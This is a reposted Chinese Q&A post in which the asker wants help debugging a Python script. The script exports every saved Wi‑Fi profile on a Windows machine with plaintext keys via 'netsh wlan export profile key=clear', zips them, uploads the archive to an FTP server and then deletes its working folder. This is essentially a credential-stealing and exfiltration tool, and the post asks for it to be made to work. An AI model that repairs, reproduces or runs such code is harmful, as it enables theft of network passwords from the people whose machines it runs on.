如何解决我的发送文件功能有问题吗?
我有以下问题:
此代码运行时没有任何错误...但仍然存在问题。 该程序在桌面上创建 2 个文件夹,然后进入网络文件夹并获取所有 wifi 配置文件。到目前为止一切都很好... 之后,它应该压缩文件夹并将文件夹发送到我的本地 ftp 服务器。 问题是到达 ftp 服务器的文件夹是空的,尽管它在 Windows 机器上有配置文件。 我该如何解决这个问题?
import os,shutil,subprocess
from termcolor import colored as c
from os import system as command
from ftplib import FTP
def setup():
username = os.getlogin()
try:
os.mkdir(f'C://users//{username}//Desktop//{username}')
except FileExistsError:
shutil.rmtree(f'C://users//{username}//Desktop//{username}')
os.mkdir(f'C://users//{username}//Desktop//{username}')
def getprofiles():
username = os.getlogin()
try:
os.mkdir(f'C://users//{username}//Desktop//{username}//networks')
except FileExistsError:
shutil.rmtree(f'C://users//{username}//Desktop//{username}')
os.mkdir(f'C://users//{username}//Desktop//{username}//networks')
os.chdir(f'C://users//{username}//Desktop//{username}//networks')
command = "netsh wlan export profile key=clear"
res = subprocess.call(command,shell = False)
print(res)
os.chdir(f'C://users//{username}//Desktop//{username}')
shutil.make_archive('networks','zip','networks')
def sendfile():
ftp = FTP('example adress')
ftp.login(user='example username',passwd='example password')
ftp.storbinary('STOR networks.zip',open('networks.zip','rb'))
def cleanup():
username = os.getlogin()
try:
shutil.rmtree(f'C://users//{username}//Desktop//{username}')
os.rmdir(f'C://users//{username}//Desktop//{username}')
except PermissionError:
print(f"Can't Remove Folder {username} : Permisson Denied")
setup()
getprofiles()
sendfile()
cleanup()
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。